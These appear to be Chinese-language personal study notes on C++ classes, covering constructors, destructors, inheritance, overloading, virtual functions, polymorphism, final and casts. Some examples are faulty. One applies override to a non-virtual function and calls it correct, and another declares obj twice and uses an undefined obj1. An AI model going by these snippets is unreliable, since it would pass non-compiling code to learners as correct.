public:表示该成员是公开的,任何地方都可以访问。 private:表示该成员是私有的,只有该类的成员函数可以访问,外部代码不能直接访问。 protected:表示该成员对类的成员函数和派生类(子类)的成员函数是可访问的,但外部代码不能直接访问。

  • 写法举例:
class MyClass {
public: //访问修饰符后面的变量都是这个类型,直到遇到下一个访问修饰符
    int publicVar;  // public 成员变量

    void setPublicVar(int value) {
        publicVar = value;  // 可以访问 public 成员变量
    }
};

L13 构造函数

构造器(又称构造函数)是类中的一种特殊函数,它在 对象创建时自动调用,用于 初始化对象的状态。
就是类中一个用来初始化的函数

  • 构造器的基本特点
    • 与类名相同:构造器的名字必须与类名相同。
    • 没有返回类型:构造器没有返回值类型,甚至不能是 void 类型。
    • 自动调用:构造器在创建对象时由编译器自动调用。
    • 可以重载:构造器是可以重载的,意味着可以定义多个构造器来初始化对象的成员变量。
  • 写法(这是把三种写到一起了)
class MyClass {
public:
    int a;
    double b;
   // 默认构造器
    MyClass() {
        a = 0;  // 初始化成员变量
        b = 0.0;
        cout << "Default constructor called!" << endl;
    }
    // 带参构造器
    MyClass(int x, double y) {
        a = x;  // 使用参数初始化成员变量
        b = y;
        cout << "Parameterized constructor called!" << endl;
    }
    // 拷贝构造器
    MyClass(const MyClass &other) {
        a = other.a;  // 复制成员变量
        b = other.b;
        cout << "Copy constructor called!" << endl;
    }
}

    MyClass obj;  // 自动调用默认构造器
    MyClass obj(10, 3.14);  // 使用带参构造器
    MyClass obj2 = obj1;     // 调用拷贝构造器

L14 析构函数

  • 凡是new 必须有特定delete
  • 析构器就是用来delete的 在 C++ 中,析构函数(Destructor)是一个特殊的成员函数,用于在对象生命周期结束时进行清理工作,通常用于释放对象动态分配的资源。析构函数的主要作用是确保当对象被销毁时,所分配的资源(如内存、文件句柄、数据库连接等)能够被正确释放,防止资源泄漏。

1. 析构函数的定义

析构函数的名字与类名相同,但在前面加上波浪号 ~。析构函数不接受任何参数,并且没有返回值。

class MyClass {
public:
    MyClass() {
        // 构造函数:可以进行资源分配
    }

    ~MyClass() {
        // 析构函数:清理资源
    }
};

2. 析构函数的作用

析构函数的主要作用是:

  • 释放对象的动态内存:如果类的成员是通过 new 动态分配的,析构函数需要调用 delete 来释放这些内存。
  • 清理其他资源:例如关闭文件、断开网络连接、释放图形资源等。

3. 析构函数和 delete 的关系

当使用 new 创建一个对象时,系统会在堆上分配内存;相应地,当对象不再使用时,必须调用 delete 来释放这块内存。如果使用 new 分配了内存,但没有及时调用 delete,就会发生内存泄漏。

析构函数的作用之一就是在对象销毁时自动调用 delete,以释放通过 new 分配的内存。具体来说,析构函数会被隐式地调用,当对象超出作用域或手动调用 delete 时,析构函数会清理对象的资源。

4. 示例代码

#include <iostream>

class MyClass {
private:
    int* data;  // 动态分配的内存

public:
    // 构造函数
    MyClass(int value) {
        data = new int(value);  // 动态分配内存
        std::cout << "Constructor: data = " << *data << std::endl;
    }

    // 析构函数
    ~MyClass() {
        delete data;  // 释放内存
        std::cout << "Destructor: data deleted." << std::endl;
    }
};

int main() {
    MyClass obj(10);  // 创建对象
    // 当 obj 离开作用域时,析构函数会自动调用
    return 0;
}

输出:

Constructor: data = 10
Destructor: data deleted.

在上面的例子中:

  • 构造函数使用 new 动态分配了一个整数。
  • 析构函数在对象销毁时自动调用 delete,释放了 new 分配的内存。

5. 析构函数的调用时机

析构函数在以下几种情况下被调用:

  • 对象生命周期结束:当对象超出其作用域时,析构函数会被自动调用。
  • 通过 delete 删除对象:当使用 new 创建了对象并通过 delete 删除时,析构函数会被调用。

6. 注意事项

  • 一个类只能有一个析构函数,因为析构函数没有参数,不能重载。
  • 基类和派生类的析构函数:如果派生类对象通过基类指针删除,应该保证基类的析构函数是虚拟的,以确保派生类的析构函数被正确调用。
class Base {
public:
    virtual ~Base() {
        std::cout << "Base Destructor" << std::endl;
    }
};

class Derived : public Base {
public:
    ~Derived() override {
        std::cout << "Derived Destructor" << std::endl;
    }
};

int main() {
    Base* obj = new Derived();
    delete obj;  // 触发 Derived 和 Base 的析构函数
}

输出:

Derived Destructor
Base Destructor

7. 总结

析构函数是确保对象销毁时能正确释放资源的关键。任何通过 new 动态分配的资源都应该在析构函数中释放。合理使用析构函数可以避免内存泄漏等问题。

sp new的语法

new T
new T[c]
new T()
new T{}
new T({})
new T{{}}
new T[]{t0, t1}
new T[c]{t0, t1}
new T(a0, a1)
new T{a0, a1}
  • 实际的例子
#include <iostream>

class MyClass {
public:
    int x, y;

    // 默认构造函数
    MyClass() : x(0), y(0) {}

    // 带参数的构造函数
    MyClass(int a, int b) : x(a), y(b) {}

    // 打印成员
    void print() {
        std::cout << "x: " << x << ", y: " << y << std::endl;
    }
};

int main() {
    // new T
    MyClass* obj1 = new MyClass;  // 分配一个 MyClass 对象,并调用默认构造函数
    obj1->print();  // 输出 x: 0, y: 0
    delete obj1;

    // new T[c]
    MyClass* arr1 = new MyClass[2];  // 分配一个大小为 2 的 MyClass 数组,并调用默认构造函数
    arr1[0].print();  // 输出 x: 0, y: 0
    arr1[1].print();  // 输出 x: 0, y: 0
    delete[] arr1;

    // new T()
    MyClass* obj2 = new MyClass();  // 分配一个 MyClass 对象,并调用默认构造函数
    obj2->print();  // 输出 x: 0, y: 0
    delete obj2;

    // new T{}
    MyClass* obj3 = new MyClass{};  // 分配一个 MyClass 对象,并调用默认构造函数,进行值初始化
    obj3->print();  // 输出 x: 0, y: 0
    delete obj3;

    // new T({})
    MyClass* obj4 = new MyClass({});  // 分配一个 MyClass 对象,并进行列表初始化
    obj4->print();  // 输出 x: 0, y: 0
    delete obj4;

    // new T{{}}
    MyClass* obj5 = new MyClass{{}};  // 分配一个 MyClass 对象,并通过嵌套列表初始化
    obj5->print();  // 输出 x: 0, y: 0
    delete obj5;

    // new T[]{t0, t1}
    MyClass* arr2 = new MyClass[]{ MyClass(1, 2), MyClass(3, 4) };  // 创建一个 MyClass 数组,并用给定的值初始化
    arr2[0].print();  // 输出 x: 1, y: 2
    arr2[1].print();  // 输出 x: 3, y: 4
    delete[] arr2;

    // new T[c]{t0, t1}
    MyClass* arr3 = new MyClass[3]{ MyClass(1, 2), MyClass(3, 4) };  // 创建一个大小为 3 的 MyClass 数组,初始化前两个元素
    arr3[0].print();  // 输出 x: 1, y: 2
    arr3[1].print();  // 输出 x: 3, y: 4
    arr3[2].print();  // 输出 x: 0, y: 0 (默认构造)
    delete[] arr3;

    // new T(a0, a1)
    MyClass* obj6 = new MyClass(5, 6);  // 创建一个 MyClass 对象,并通过带参数的构造函数初始化
    obj6->print();  // 输出 x: 5, y: 6
    delete obj6;

    // new T{a0, a1}
    MyClass* obj7 = new MyClass{7, 8};  // 创建一个 MyClass 对象,并使用列表初始化
    obj7->print();  // 输出 x: 7, y: 8
    delete obj7;

    return 0;
}

L15 类的相关操作

复制构造器

移动构造器

先复习移动语义 // READ: 如果实现移动构造 learn.microsoft.com/zh-cn/cpp/c…

// READ: 移动构造函数 zh.cppreference.com/w/cpp/langu… // READ: 移动赋值 zh.cppreference.com/w/cpp/langu… // READ: 运算符重载 zh.cppreference.com/w/cpp/langu…

类的继承 基类

1. 基本继承

在 C++ 中,类的继承使得子类能够继承父类的成员(属性和方法),并且可以重写父类的方法来扩展其功能。继承的基本语法为:

class 子类 : 访问权限 基类 {
    // 子类成员
};
  • 访问权限:包括 publicprotectedprivate,决定了继承后子类可以访问父类哪些成员。
示例:基本继承
#include <iostream>

// 基类(父类)
class Animal {
public:
    void speak() {
        std::cout << "Animal is making a sound" << std::endl;
    }
};

// 子类(派生类)
class Dog : public Animal {
public:
    void speak() {  // 重写父类的 speak 方法
        std::cout << "Dog is barking" << std::endl;
    }
};

int main() {
    Dog dog;
    dog.speak();  // 输出 "Dog is barking"
    
    Animal animal;
    animal.speak();  // 输出 "Animal is making a sound"
    
    return 0;
}
  • 子类继承自父类Animal,并重写了父类的speak方法。
  • 父类speak方法输出"Animal is making a sound"。
  • 子类speak方法输出"Dog is barking"。

2. 构造函数与继承

在 C++ 中,父类的构造函数不会自动被子类继承。如果子类需要使用父类的构造函数,则必须显式调用父类构造函数。

示例:构造函数与继承
#include <iostream>
#include <string>

// 基类(父类)
class Animal {
public:
    Animal(std::string name) {
        this->name = name;
    }
    
    void speak() {
        std::cout << "Animal " << name << " is making a sound" << std::endl;
    }
    
private:
    std::string name;
};

// 子类(派生类)
class Dog : public Animal {
public:
    Dog(std::string name) : Animal(name) {}  // 调用父类的构造函数
    
    void speak() {  // 重写父类的 speak 方法
        std::cout << "Dog is barking" << std::endl;
    }
};

int main() {
    Dog dog("Buddy");
    dog.speak();  // 输出 "Dog is barking"
    
    Animal animal("Generic Animal");
    animal.speak();  // 输出 "Animal Generic Animal is making a sound"
    
    return 0;
}
  • 父类Animal有一个构造函数接收一个名字,并将其存储在成员变量name中。
  • 子类Dog在构造时调用了父类的构造函数来初始化name

3. 多重继承

C++ 支持多重继承,即一个子类可以继承多个父类的成员。需要注意的是,子类继承多个父类时,如果父类有相同的成员变量或方法,可能会出现冲突,需要解决。

示例:多重继承
#include <iostream>

// 基类1
class Animal {
public:
    void speak() {
        std::cout << "Animal is making a sound" << std::endl;
    }
};

// 基类2
class Mammal {
public:
    void breathe() {
        std::cout << "Mammal is breathing" << std::endl;
    }
};

// 子类
class Dog : public Animal, public Mammal {
public:
    void speak() {
        std::cout << "Dog is barking" << std::endl;
    }
};

int main() {
    Dog dog;
    dog.speak();    // 输出 "Dog is barking"
    dog.breathe();  // 输出 "Mammal is breathing"
    return 0;
}
  • 子类Dog继承了两个父类:AnimalMammal,并重写了父类的speak方法。
  • 子类可以访问父类的所有公共方法,包括AnimalspeakMammalbreathe

4. 虚拟继承(Virtual Inheritance)

虚拟继承解决了多重继承中的“钻石继承”问题。当多个类通过继承共享同一个父类时,子类可能会继承多份父类数据。虚拟继承确保子类只继承父类的数据一次。

示例:虚拟继承
#include <iostream>

// 基类 A
class A {
public:
    int x;
};

// 基类 B 和 C 都虚拟继承 A
class B : virtual public A {};  
class C : virtual public A {};  

// 子类 D
class D : public B, public C {
public:
    void print() {
        std::cout << x << std::endl;  // 只会输出 A 中的 x
    }
};

int main() {
    D d;
    d.x = 10;
    d.print();  // 输出 10
    return 0;
}
  • 虚拟继承确保BC共享同一个A的实例,因此D类只会继承一份A中的成员。
  • D类可以访问A类中的成员变量x,而不会出现重复继承的问题。

总结

  • 继承是 C++ 面向对象编程中的一个核心特性,允许子类复用父类的成员,并扩展或重写父类的功能。
  • C++ 支持单继承多重继承,并通过虚拟继承解决多重继承中的钻石问题。
  • 子类可以通过构造函数初始化父类成员,并且可以重写父类的方法以修改行为。
  • 在多重继承中,子类可能继承多个父类的数据或方法,这可能导致冲突,需要小心处理。

通过继承,代码重用性和扩展性得到了显著提升,但在设计时需要考虑访问权限、构造函数调用以及可能出现的继承冲突。

L16 重载

C++ 中的函数重载

**重载(Overloading)**是 C++ 中允许在同一个作用域内定义多个同名但参数不同的函数或运算符的特性。重载允许我们使用相同的函数名来执行不同的操作,这样可以提高代码的可读性和可维护性。

1. 函数重载

函数重载指的是在同一个类或命名空间中,可以定义多个同名但参数列表(参数个数或类型)不同的函数。编译器会根据函数调用时传递的参数类型和数量来决定调用哪个版本的函数。

函数重载的规则:
  • 函数名相同
  • 参数个数不同,或者
  • 参数类型不同,但不能仅通过返回值类型的不同来重载。
示例:函数重载
#include <iostream>
using namespace std;

class Print {
public:
    // 打印整数
    void display(int i) {
        cout << "Integer: " << i << endl;
    }
    
    // 打印浮点数
    void display(double d) {
        cout << "Double: " << d << endl;
    }
    
    // 打印字符串
    void display(string s) {
        cout << "String: " << s << endl;
    }
};

int main() {
    Print p;
    p.display(5);          // 调用 display(int)
    p.display(3.14);       // 调用 display(double)
    p.display("Hello!");   // 调用 display(string)
    
    return 0;
}

输出:

Integer: 5
Double: 3.14
String: Hello!

在这个例子中,display 函数被重载了三次,分别接受 intdoublestring 类型的参数。根据传递的参数类型,编译器会选择调用合适的重载版本。

2. 构造函数重载

构造函数也可以被重载,允许我们在创建对象时根据不同的参数类型或数量来初始化对象的状态。

示例:构造函数重载
#include <iostream>
using namespace std;

class Rectangle {
private:
    int width, height;
    
public:
    // 默认构造函数
    Rectangle() {
        width = 0;
        height = 0;
    }
    
    // 带参数的构造函数
    Rectangle(int w, int h) {
        width = w;
        height = h;
    }
    
    void display() {
        cout << "Width: " << width << ", Height: " << height << endl;
    }
};

int main() {
    Rectangle r1;        // 调用默认构造函数
    Rectangle r2(10, 20); // 调用带参数的构造函数
    
    r1.display();  // 输出 Width: 0, Height: 0
    r2.display();  // 输出 Width: 10, Height: 20
    
    return 0;
}

在这个例子中,Rectangle 类有两个构造函数,一个是默认构造函数,另一个是带有两个参数的构造函数。我们可以根据需要选择不同的构造函数来初始化对象。

3. 运算符重载

C++ 允许我们为内置类型(如整数、浮点数)以外的数据类型重载运算符。运算符重载使得我们能够使用自定义类型与内置类型一样进行运算。

示例:运算符重载
#include <iostream>
using namespace std;

class Complex {
private:
    float real;
    float imag;
    
public:
    Complex(float r, float i) : real(r), imag(i) {}

    // 重载加法运算符
    Complex operator + (const Complex& other) {
        return Complex(real + other.real, imag + other.imag);
    }
    
    void display() {
        cout << "Real: " << real << ", Imaginary: " << imag << endl;
    }
};

int main() {
    Complex c1(3.5, 2.5);
    Complex c2(1.5, 4.5);
    
    Complex c3 = c1 + c2;  // 调用重载的加法运算符
    
    c3.display();  // 输出 Real: 5, Imaginary: 7
    
    return 0;
}

在这个例子中,我们重载了 + 运算符,使得我们可以直接使用 + 运算符对两个 Complex 类型的对象进行相加。

4. 重载注意事项

  • 返回类型不能作为区分重载的唯一依据:也就是说,两个函数如果只有返回类型不同,编译器无法判断调用哪个函数,因此不允许仅通过返回类型来进行重载。
  • 不能通过参数的默认值来重载函数:函数默认参数值的不同不会导致函数的重载。
错误的重载示例:
#include <iostream>
using namespace std;

class Test {
public:
    int add(int x, int y) {
        return x + y;
    }

    // 错误的重载:返回类型不同
    float add(int x, int y) {
        return (float)(x + y);
    }
};

这个代码将导致编译错误,因为 add 函数的返回类型不同,但它们的参数完全相同,编译器无法根据返回类型来区分这两个函数。

5. 总结

  • 函数重载允许在同一个作用域中定义多个同名函数,它们的参数个数或类型不同。
  • 函数重载提高了代码的可读性和可维护性,使得相同的操作可以使用相同的函数名来处理不同类型的数据。
  • 构造函数重载可以让我们根据不同的需求初始化对象。
  • 运算符重载允许自定义类型使用与内置类型相同的操作符。

重载的本质是通过函数名相同、参数不同来让编译器根据调用时传递的参数来选择正确的函数。通过合理使用重载,能够使代码更简洁、灵活和易于理解。

C++ 中的 重写(Overriding)重载(Overloading) 的区别

重写(Overriding)和重载(Overloading)是面向对象编程中的两个重要概念,虽然它们看起来相似,但有本质的不同。下面我们来详细讲解这两个概念及其区别。

1. 重载(Overloading)

重载是指在同一个类中,可以定义多个同名但参数不同的函数或方法。重载的目的是根据不同的参数类型或参数个数,执行不同的操作。

主要特点:
  • 发生在同一个类中。
  • 通过参数不同来区分重载函数(可以是参数个数、参数类型、参数顺序等)。
  • 返回类型不能作为重载的依据,必须通过参数来区分。
  • 可以在同一个类中定义多个重载的函数。
示例:函数重载
#include <iostream>
using namespace std;

class Printer {
public:
    // 打印整数
    void print(int i) {
        cout << "Printing integer: " << i << endl;
    }

    // 打印浮点数
    void print(double d) {
        cout << "Printing double: " << d << endl;
    }

    // 打印字符串
    void print(string s) {
        cout << "Printing string: " << s << endl;
    }
};

int main() {
    Printer p;
    p.print(5);        // 调用 print(int)
    p.print(3.14);     // 调用 print(double)
    p.print("Hello");  // 调用 print(string)
    
    return 0;
}

输出:

Printing integer: 5
Printing double: 3.14
Printing string: Hello

在这个例子中,print 函数被重载了三次,它们接受不同类型的参数:intdoublestring

2. 重写(Overriding)

重写是指在子类中重新定义父类中已经定义过的虚函数,目的是修改或扩展父类的功能。重写要求父类的方法是虚函数virtual),这样子类就可以通过自己的实现覆盖父类的方法。

主要特点:
  • 发生在父类和子类之间。
  • 子类重新定义父类的虚函数,并改变或扩展其行为。
  • 返回类型必须与父类的返回类型一致(或者是父类返回类型的派生类)。
  • 参数列表必须与父类中的虚函数完全相同。
示例:函数重写
#include <iostream>
using namespace std;

class Animal {
public:
    // 虚函数
    virtual void sound() {
        cout << "Animal is making a sound" << endl;
    }
};

class Dog : public Animal {
public:
    // 重写父类的 sound 方法
    void sound() override {
        cout << "Dog is barking" << endl;
    }
};

int main() {
    Animal* animal = new Dog();
    animal->sound();  // 输出 "Dog is barking"
    
    delete animal;
    return 0;
}

输出:

Dog is barking

在这个例子中,Dog 类重写了父类 Animalsound 方法。因为 sound 是一个虚函数(virtual),所以当通过 Animal* 指针调用 sound 方法时,实际执行的是 Dog 类中的 sound 方法(即多态)。

3. 重载 vs 重写:对比

特性重载(Overloading)重写(Overriding)
定义同一个类中多个函数使用相同的名字,但参数不同(参数个数或类型不同)。子类重新定义父类的虚函数,改变其实现。
作用域发生在同一个类内。发生在父类和子类之间。
函数签名通过函数名参数列表来区分。通过函数的签名(函数名和参数列表)相同。
返回类型可以有不同的返回类型,但不能仅通过返回类型来区分。必须和父类的返回类型一致(或者是父类返回类型的派生类)。
多态性不涉及多态性,编译时根据参数选择调用哪个重载函数。通过多态,运行时决定调用父类还是子类的函数。
函数体可以在同一类中定义多个具有相同名字但不同参数的函数。子类必须提供对父类虚函数的具体实现。

4. 总结

  • 重载(Overloading)是指在同一个类中定义多个同名但参数不同的函数,用于处理不同类型或数量的参数。
  • 重写(Overriding)是指子类重新定义父类的虚函数,修改其行为并覆盖父类的实现。
  • 重载是编译时多态,通过函数参数的不同来选择调用哪个函数。
  • 重写是运行时多态,依赖于虚函数和继承关系,允许子类改变父类方法的行为。

理解这两个概念有助于你在 C++ 编程中更好地利用面向对象的特性,提高代码的可读性、可维护性和灵活性。

L17 虚函数与多态

先看L16的函数重写

1. 函数重写 (Overriding)

在面向对象编程中,函数重写指的是在子类中重新定义父类中已经实现的函数。重写要求子类函数的函数签名(函数名、参数列表和返回类型)必须与父类函数保持一致。通过重写,子类可以改变父类的默认行为。

而且override关键字可以不写,主要是增加可读性,防止和重载混淆

例子:

class Base {
public:
    void show() { 
        cout << "Base show" << endl; 
    }
};

class Derived : public Base {
public:
    void show() override {  // 重写父类的 show 函数
        cout << "Derived show" << endl;
    }
};

在这里,Derived 重写了 Base 类中的 show() 函数。调用 show() 会根据对象的实际类型决定执行哪个版本。

2. 虚函数 (Virtual Functions)

虚函数是基类中声明为 virtual 的成员函数,允许在派生类中重写该函数的行为。虚函数通过虚表(vtable)机制实现运行时的多态性。

2.1 虚函数的作用

虚函数的关键作用是:在运行时通过基类指针或引用调用子类的重写版本,而不是基类的版本。通过虚函数,我们可以实现 动态多态

2.2 如何声明虚函数?

要声明虚函数,只需要在基类中的函数声明前加上 virtual 关键字。

class Base {
public:
    virtual void show() {  // 基类中的虚函数
        cout << "Base show" << endl;
    }
};

2.3 如何重写虚函数?

在派生类中使用相同的函数签名来重写基类的虚函数。可以使用 override 关键字明确表示这是一个重写的虚函数。

class Derived : public Base {
public:
    void show() override {  // 派生类重写虚函数
        cout << "Derived show" << endl;
    }
};

3. 虚表 (VTable) 和 虚指针 (VPtr)

虚函数的实现依赖于虚表(VTable)和虚指针(VPtr)。每个类如果包含虚函数,编译器会为该类生成一个虚表,虚表是一个函数指针数组,每个元素指向该类的虚函数。

3.1 虚表(VTable)

虚表是由编译器自动生成的,它包含了类的所有虚函数的指针。每个含有虚函数的类都有一个虚表。

3.2 虚指针(VPtr)

每个对象都包含一个虚指针(VPtr),它指向该类的虚表。通过虚指针,程序能够在运行时根据对象的实际类型查找到正确的虚函数。

3.3 虚函数的调用

当我们通过基类指针或引用调用虚函数时,程序会通过虚指针查找虚表,然后调用相应的虚函数。

例子:

class Base {
public:
    virtual void show() {  
        cout << "Base show" << endl;
    }
};

class Derived : public Base {
public:
    void show() override {  
        cout << "Derived show" << endl;
    }
};

int main() {
    Base* base = new Derived();  // 基类指针指向派生类对象
    base->show();  // 调用的是 Derived 类的 show(),而不是 Base 类的 show()
}

在这个例子中,base->show() 会调用 Derived 类中的 show() 方法,而不是 Base 类中的方法。

4. 虚析构函数 (Virtual Destructor)

虚析构函数是指在类的析构函数前加上 virtual 关键字。当类中包含虚函数时,析构函数也应该是虚函数。这样,在删除通过基类指针指向的派生类对象时,能够正确地调用派生类的析构函数,避免内存泄漏。

例子:

class Base {
public:
    virtual ~Base() {  // 基类虚析构函数
        cout << "Base destructor" << endl;
    }
};

class Derived : public Base {
public:
    ~Derived() override {  // 派生类虚析构函数
        cout << "Derived destructor" << endl;
    }
};

int main() {
    Base* base = new Derived();  // 基类指针指向派生类对象
    delete base;  // 输出: Derived destructor  Base destructor
}

通过将析构函数声明为虚函数,我们确保通过基类指针删除派生类对象时,派生类的析构函数会先被调用。

5. 静态字段 (Static Fields)

静态字段是类级别的成员,所有对象共享该字段,而不是每个对象拥有一份自己的副本。静态成员通常用于存储一些全局或类级别的数据。

例子:

class MyClass {
public:
    static int count;  // 静态成员变量
};
int MyClass::count = 0;  // 静态成员变量的定义

静态成员变量不属于任何对象,而是属于整个类,所有对象共享同一份静态数据。

sp 理解多态

1. 什么是多态?

多态(Polymorphism)指的是同一个操作(方法或函数)能够作用于不同类型的对象,并根据对象的实际类型表现出不同的行为。多态是面向对象编程的核心特性之一,它使得程序更具可扩展性和灵活性。

多态有两种主要类型:

  • 编译时多态(静态多态):通过函数重载、运算符重载等方式实现。
  • 运行时多态(动态多态):通过虚函数和继承关系实现。

2. 运行时多态

运行时多态是通过虚函数来实现的,基类的指针或引用指向派生类的对象,调用虚函数时,程序会动态选择调用哪一个函数实现。

例子:

class Shape {
public:
    virtual void draw() {  // 基类虚函数
        cout << "Drawing a shape" << endl;
    }
};

class Circle : public Shape {
public:
    void draw() override {  // 派生类重写虚函数
        cout << "Drawing a circle" << endl;
    }
};

class Square : public Shape {
public:
    void draw() override {  // 派生类重写虚函数
        cout << "Drawing a square" << endl;
    }
};

void render(Shape* shape) {
    shape->draw();  // 多态调用,根据传入的对象类型决定调用哪个函数
}

int main() {
    Circle circle;
    Square square;
    render(&circle);  // 输出: Drawing a circle
    render(&square);  // 输出: Drawing a square
}

在这个例子中,render 函数通过基类 Shape 的指针来调用派生类 CircleSquaredraw() 方法。多态的机制使得 draw() 方法根据对象的实际类型来决定执行哪个版本。

3. 多态的优势

  • 灵活性:通过多态,代码能够在运行时根据对象类型选择行为,增加了代码的灵活性。
  • 可扩展性:新的派生类可以在不修改已有代码的情况下添加,只需要继承基类并重写虚函数。
  • 代码复用:多态减少了重复代码,通过基类指针操作不同的派生类对象。

4. 多态的实现机制

多态依赖于以下几个机制:

  • 虚函数:基类中声明为虚函数的成员函数,允许在派生类中进行重写。
  • 虚表(VTable):虚表是类的虚函数指针数组,指向该类的虚函数。
  • 虚指针(VPtr):每个对象包含一个指向虚表的指针,用来执行动态绑定。

5. 多态的优势

  • 提高代码的灵活性:允许不同类型的对象共享相同的接口,增加了系统的扩展性。
  • 代码复用:通过父类指针或引用,代码可以统一处理不同派生类的对象,避免重复编写类似的代码。

sp final 关键字、纯虚函数、抽象类和虚继承

1. final 关键字

在 C++ 中,final 关键字用于限制类或成员函数的继承或重写行为,增强了程序的安全性和可维护性。

1.1 final 用于类

final 用于类时,表示该类不能被继承,即禁止其他类继承这个类。

例子:

class Base final {  // 使用 final 禁止继承
public:
    void show() {
        cout << "Base show" << endl;
    }
};

// 错误:无法继承 Base 类
class Derived : public Base {
};

在这个例子中,Base 类被标记为 final,所以无法再派生出 Derived 类。编译器会报错。

1.2 final 用于成员函数

final 用于成员函数时,表示该函数不能在派生类中被重写。

例子:

class Base {
public:
    virtual void show() final {  // 使用 final 禁止重写
        cout << "Base show" << endl;
    }
};

class Derived : public Base {
public:
    // 错误:不能重写 show() 函数
    void show() override {
        cout << "Derived show" << endl;
    }
};

在这个例子中,Base 类中的 show() 函数被标记为 final,因此在 Derived 类中无法重写这个函数。

2. 纯虚函数 (Pure Virtual Functions)

纯虚函数是指在基类中声明但不实现的虚函数,它以 = 0 作为函数声明的结束标志。含有纯虚函数的类称为 抽象类。纯虚函数没有函数体,在派生类中必须进行实现,否则派生类也会成为抽象类,不能直接实例化。

2.1 纯虚函数的声明

纯虚函数的声明形式是:在虚函数后加上 = 0,表示该函数没有实现,需要在派生类中重写。

例子:

class Shape {
public:
    virtual void draw() = 0;  // 纯虚函数,没有实现
};

class Circle : public Shape {
public:
    void draw() override {  // 派生类实现纯虚函数
        cout << "Drawing a circle" << endl;
    }
};

在这个例子中,Shape 类包含了一个纯虚函数 draw(),它没有函数体。Circle 类继承 Shape 类并实现了 draw() 函数。由于 Shape 是抽象类,它不能直接实例化;但是可以创建 Circle 类的对象,因为它实现了所有纯虚函数。

3. 抽象类 (Abstract Class)

抽象类是指含有至少一个纯虚函数的类。抽象类不能直接实例化,它的目的是提供一个统一的接口供派生类实现。抽象类可以包含已经实现的成员函数、纯虚函数以及数据成员。

3.1 抽象类的特点

  • 含有至少一个纯虚函数。
  • 不能实例化对象。
  • 作为基类,供派生类继承和实现。

例子:

class AbstractShape {
public:
    virtual void draw() = 0;  // 纯虚函数
    virtual void resize() = 0;  // 纯虚函数
};

class Rectangle : public AbstractShape {
public:
    void draw() override {
        cout << "Drawing a rectangle" << endl;
    }

    void resize() override {
        cout << "Resizing a rectangle" << endl;
    }
};

在这个例子中,AbstractShape 是一个抽象类,包含两个纯虚函数 draw()resize()Rectangle 类继承了 AbstractShape,并实现了所有的纯虚函数,因此 Rectangle 类可以实例化。

4. 虚继承 (Virtual Inheritance)

虚继承是 C++ 中的一种特殊的继承方式,解决了多重继承中的 菱形继承问题。菱形继承问题指的是在多重继承中,多个派生类继承自同一个基类时,可能会导致基类成员的重复继承。虚继承通过共享基类的唯一实例来避免这种重复继承。

4.1 菱形继承问题

假设我们有四个类,A 是基类,BC 继承自 A,然后 D 类同时继承自 BC。如果 BC 都继承了 A,那么 D 会从 BC 各继承一份 A 类的成员,这会导致 A 类的成员在 D 类中被重复继承。

4.2 虚继承的解决方案

通过虚继承,D 类只会从 BC 继承一个 A 类的实例,从而避免了重复继承的问题。

例子:

class A {
public:
    void show() {
        cout << "Class A" << endl;
    }
};

class B : virtual public A {
public:
    void showB() {
        cout << "Class B" << endl;
    }
};

class C : virtual public A {
public:
    void showC() {
        cout << "Class C" << endl;
    }
};

class D : public B, public C {
public:
    void showD() {
        cout << "Class D" << endl;
    }
};

int main() {
    D obj;
    obj.show();  // 通过虚继承,避免了重复继承 A 的成员
}

在这个例子中,BC 都通过虚继承继承了 A 类,这样 D 类就只会有一个 A 类的实例,而不是两个。调用 obj.show() 时,正确地调用了 A 类的方法,而不会因为重复继承导致错误。

5. final 关键字与虚继承

final 关键字与虚继承结合使用时,可以限制虚继承的派生类不再被继承,或者禁止虚函数在派生类中被重写。

例子:

class A {
public:
    virtual void show() final {  // 不允许派生类重写 show()
        cout << "Class A" << endl;
    }
};

class B : virtual public A {
    // 错误:不能重写 show()
    void show() override {
        cout << "Class B" << endl;
    }
};

在这个例子中,A 类的 show() 函数被标记为 final,因此 B 类不能重写它。

sp 静态和动态字段的初始化

// 在类外初始化静态字段
class MyClass {
public:
    static int staticVar;  // 声明静态字段

    MyClass() {
        // 构造函数
    }

    static void staticMethod() {
        // 静态方法
    }
};
int MyClass::staticVar = 10;  // 在类外初始化静态字段
int main(){
    ...
}
class MyClass {
public:
    int* dynamicVar;  // 声明动态字段

    MyClass() {
        dynamicVar = new int(20);  // 动态字段在构造器里动态分配并初始化
    }

    ~MyClass() {
        delete dynamicVar;  
    }
};

sp 四种类型转换

在 C++ 中,类型转换有多种方式,其中有四种 显式类型转换 方式,通常称为“四种类型转换”。它们分别是:

1. static_cast

static_cast 是最常见的类型转换方式,用于执行 编译时类型检查 的转换,通常用于在 相关类型之间(如父类和子类之间)转换。

适用场景:

  • 基类与派生类之间的转换(不涉及多态)。
  • 基本数据类型之间的转换(如 intfloat)。

示例:

class Base {};
class Derived : public Base {};

Base *base = new Derived;  // 派生类指针转换为基类指针
Derived *derived = static_cast<Derived*>(base);  // 基类指针转换为派生类指针

注意:如果类型不兼容,static_cast 编译时会报错。

2. dynamic_cast

dynamic_cast 用于处理 多态类型(类中含有虚函数)。它主要用于指针或引用类型之间的转换,并且进行 运行时类型检查。当转换失败时,它会返回 nullptr(对于指针)或抛出 std::bad_cast 异常(对于引用)。

适用场景:

  • 基类和派生类之间的指针或引用转换,且涉及 多态
  • 安全地进行向下转换(例如基类指针转派生类指针)。

示例:

class Base {
public:
    virtual ~Base() {}  // 虚析构函数,确保多态
};
class Derived : public Base {};

Base *base = new Derived;
Derived *derived = dynamic_cast<Derived*>(base);  // 安全地转换
if (derived) {
    // 转换成功
} else {
    // 转换失败
}

如果 base 不是指向 Derived 类型的对象,dynamic_cast 会返回 nullptr

3. const_cast

const_cast 用于 修改常量属性,可以 移除添加 constvolatile 限定符。它并不会改变对象的实际类型,只是改变类型的 const 限定符。

适用场景:

  • 移除对象的 const 限定符。
  • 添加 const 限定符。

示例:

void foo(const int* p) {
    int* q = const_cast<int*>(p);  // 移除 const 限定符
    *q = 10;  // 修改对象的值
}

const int x = 5;
foo(&x);  // 通过 const_cast 修改 x 的值(虽然 x 被声明为 const,但会被强制转换为非 const)

使用 const_cast 时需要小心,如果尝试修改原本是 const 的对象,且该对象本身是 const,那么这会导致 未定义行为

4. reinterpret_cast

reinterpret_cast 是最强大的类型转换方式,它可以进行 几乎所有类型的转换,包括指针类型之间的转换,以及将指针转换为整数等。由于它是低级的类型转换,因此需要小心使用。

适用场景:

  • 将一个指针类型转换为另一个不相关的指针类型。
  • 将指针类型转换为整数类型或反之。
